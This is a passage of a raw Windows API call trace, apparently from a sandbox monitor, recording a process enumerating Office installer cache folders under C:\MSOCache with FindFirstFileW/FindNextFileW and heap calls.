hFindFile=0x491e98, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.363] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi", cAlternateFileName="PUBLIS~1.MSI")) returned 1 [0076.363] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.xml", cAlternateFileName="PUBLIS~1.XML")) returned 1 [0076.363] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PubLR.cab", cAlternateFileName="")) returned 1 [0076.363] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0076.363] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0076.363] FindClose (in: hFindFile=0x491e98 | out: hFindFile=0x491e98) returned 1 [0076.364] GetProcessHeap () returned 0x470000 [0076.364] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x3221080 | out: hHeap=0x470000) returned 1 [0076.364] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001A-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9765F~1")) returned 1 [0076.364] GetProcessHeap () returned 0x470000 [0076.364] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x3221080 [0076.364] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x491e98 [0076.367] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.367] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlkLR.cab", cAlternateFileName="")) returned 1 [0076.367] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.msi", cAlternateFileName="OUTLOO~1.MSI")) returned 1 [0076.367] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.xml", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0076.367] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0076.367] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0076.367] FindClose (in: hFindFile=0x491e98 | out: hFindFile=0x491e98) returned 1 [0076.520] GetProcessHeap () returned 0x470000 [0076.520] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x3221080 | out: hHeap=0x470000) returned 1 [0076.520] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001B-0409-1000-0000000FF1CE}-C", cAlternateFileName="{94E50~1")) returned 1 [0076.520] GetProcessHeap () returned 0x470000 [0076.520] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x3221080 [0076.520] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x491e98 [0076.521] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.521] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0076.522] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordLR.cab", cAlternateFileName="")) returned 1 [0076.522] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.msi", cAlternateFileName="")) returned 1 [0076.522] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 1 [0076.522] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 0 [0076.522] FindClose (in: hFindFile=0x491e98 | out: hFindFile=0x491e98) returned 1 [0076.522] GetProcessHeap () returned 0x470000 [0076.522] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x3221080 | out: hHeap=0x470000) returned 1 [0076.522] FindNextFileW (in: hFindFile=0x491e58, lpFindFileData=0x2d2f098 | out: lpFindFileData=0x2d2f098*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-002C-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92787~1")) returned 1 [0076.522] GetProcessHeap () returned 0x470000 [0076.522] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x3221080 [0076.522] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x491ed8 [0076.525] FindNextFileW (in: hFindFile=0x491ed8, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.663] FindNextFileW (in: hFindFile=0x491ed8, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0076.663] GetProcessHeap () returned 0x470000 [0076.663] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x3233098 [0076.664] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*", lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x491dc0 [0076.664] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.664] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0076.664] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0076.664] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0076.664] FindNextFileW (in: hFindFile=0x491dc0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0076.665] FindClose (in: hFindFile=0x491dc0 | out: hFindFile=0x491dc0) returned 1 [0076.665] GetProcessHeap () returned 0x470000 [0076.665] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x3233098 | out: hHeap=0x470000) returned 1 [0076.665] FindNextFileW (in: hFindFile=0x491ed8, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0076.665] GetProcessHeap () returned 0x470000 [0076.665] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x3233098 [0076.665] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*", lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x491e98 [0076.886] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.886] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0076.887] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0076.891] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0076.891] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0076.897] FindClose (in: hFindFile=0x491e98 | out: hFindFile=0x491e98) returned 1 [0076.897] GetProcessHeap () returned 0x470000 [0076.898] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x3233098 | out: hHeap=0x470000) returned 1 [0076.898] FindNextFileW (in: hFindFile=0x491ed8, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0076.898] GetProcessHeap () returned 0x470000 [0076.898] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x3233098 [0076.915] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*", lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x491e98 [0076.915] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.922] FindNextFileW (in: hFindFile=0x491e98, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, 